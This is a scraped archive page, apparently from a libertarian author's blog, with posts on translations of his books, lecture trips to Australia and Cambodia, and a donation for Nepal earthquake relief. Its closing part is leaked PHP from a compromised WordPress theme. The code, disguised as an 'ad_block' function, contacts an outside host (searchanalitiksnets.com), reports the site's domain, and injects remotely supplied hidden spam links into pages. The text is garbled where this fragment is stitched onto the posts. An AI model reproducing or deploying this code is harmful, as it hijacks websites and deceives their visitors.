“Common Sense Economics” an outstanding book in economics, now in bookshops and universities and secondary schools in Thailand!! Thanks to Sirikanya and Sethaput and their colleagues at the Thailand Future Foundation. (I proposed it to Sethaput some time ago and arranged the rights and secured some funding for the translators and they did a gorgeous job!). If you live or work in Thailand and are interested in obtaining it, contact the Thailand Future Foundation!

CommonSenseEconomicsThai1

CommonSenseEconomicsThai2

CommonSenseEconomicsThai3

{ 0 comments }

In this video of the 3rd Annual Australian Libertarian Society’s Friedman Conference in Sydney, I was able to discuss the topic of “State Control or Self-Control?” It was a pleasure to be able to address the lively audience. I am enjoying Australia and the hospitality of its people immensely.

{ 0 comments }

The 100th Man

May 14, 2015

This wonderful video, “The 100th Man” was produced by the Free Market Foundation as a gift to African Students For Liberty. It is based on an African parable about how profits work to the benefit of all society.

{ 0 comments }

Late last year, I was privileged to be able to a talk at the Sixth Annual Mises Celebration Dinner hosted in San Jose. Video of my talk has just recent become available and I wanted to post it here, mostly because it is a high quality video and an important topic: Mises and the 25th Anniversary of the Fall of the Berlin Wall.

{ 0 comments }

Southeast Asian Thoughts

April 27, 2015

 

Southeast Asia has certain been on the mind as of late. I am attempting to learn Thai, a difficult language with 44 consonants, 28 vowel forms, and 4 tone diacritical marks. This is certainly not going to be an easy task, but one that I am committed to. It is a beautiful country that I look forward to visiting again soon.

Nepal is another beautiful country that is currently going through a period of upheaval. A 7.8 rated earthquake struck in Kathmandu, causing thousands of deaths. I make a month donation to Mercy Corps, who have always done a great job ensuring that donations are used to maximum effect in disaster areas like this, but I made an emergency donation for the people of Nepal as well. I have great hope that the Nepali people will be helped in the immediate future by Mercy Corps and in the long-term by the freedom lovers at Samriddhi and Bikalpa.

{ 0 comments }

Events in Oz

April 27, 2015

I am happy to report that I am now a Scholar in Residence with The Centre for Independent Studies in Sydney, Australia. This is temporary, but it is nevertheless an exciting development.

This Thursday, April 30th, I will be making my only Melbourne, Australia, appearance of this trip for an event called “Why Freedom is Not For Sissies”. It will be a fun and free event, CIS asks only that you register here.

On the following Tuesday, May 5th, I’ll be taking my only trip to Brisbane during my time in Australia in order to attend this event. It’s a chance to have dinner, spend time with liberty-lovers, and discuss the ideas of freedom with others. There will be limited space, so register as soon as possible.

I’m also pleased to be going back to the Australian Libertarian Society’s Annual Friedman Conference, which takes place over the weekend of May 2nd and 3rd. You can find more information on this exciting event here.

 

{ 0 comments }

Australis Libertas

April 20, 2015

I am pleased to announce that I am currently on my way to Sydney, Australia! The Centre for Independent Studies in Australia has invited me to deliver a talk about The Morality of Capitalism on Thursday, April 23rd. If you are interested in attending the event or learning more about it, then you can visit the event-page here.

If you can’t attend the event, you can obtain the book on which the talk is based, The Morality of Capitalism, here. Or, if you prefer a physical copy of the book it can be bought through Amazon.

CIS

{ 0 comments }

I was able to deliver a lecture entitled “Foundations of Modern Political Economy” at Zaman University in Phnom Penh, Cambodia. The program was organized by ZamanU Political Science and International Relations Department and the Professional Research Institute for Management & Economics (PRIME). It was a great experience and my first visit to the wonderful country of Cambodia. A video of the entire lecture can be found below or you can watch it on Youtube here. If this is a topic that interests you, then you should look into obtaining a copy of The Morality of Capitalism for free here or you’d rather have a physical copy then you can obtain it through Amazon, here, very cheaply.

{ 0 comments }

After the Welfare State has now been translated into French and is downloadable at zero price. France, in its current state, is in desperate need of liberal attitudes, especially for the problem of the Welfare State. This book offers a glimpse of how France can operate after the welfare state. If you are interested in an English translation, it can be found here.

AWSFrench

{ 0 comments }

Why Liberty - Russian Translation

I am always pleased when my writings can be read in new languages. Pictured is the new Russian translation of Why Liberty–just in time for a country that is suffering from an increasingly despotic leadership. Thanks to some good friends in Moscow for translating it.

Why Liberty in Portuguese

Many people do not realize that Portuguese is a major worldwide language, labeled an official language in nine countries, including Portugal, Brazil, and Angola. So I am pleased that Why Liberty has now been translated into Portuguese as well.

Why Liberty’s English translation can be downloaded for free here.

{ 0 comments }

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>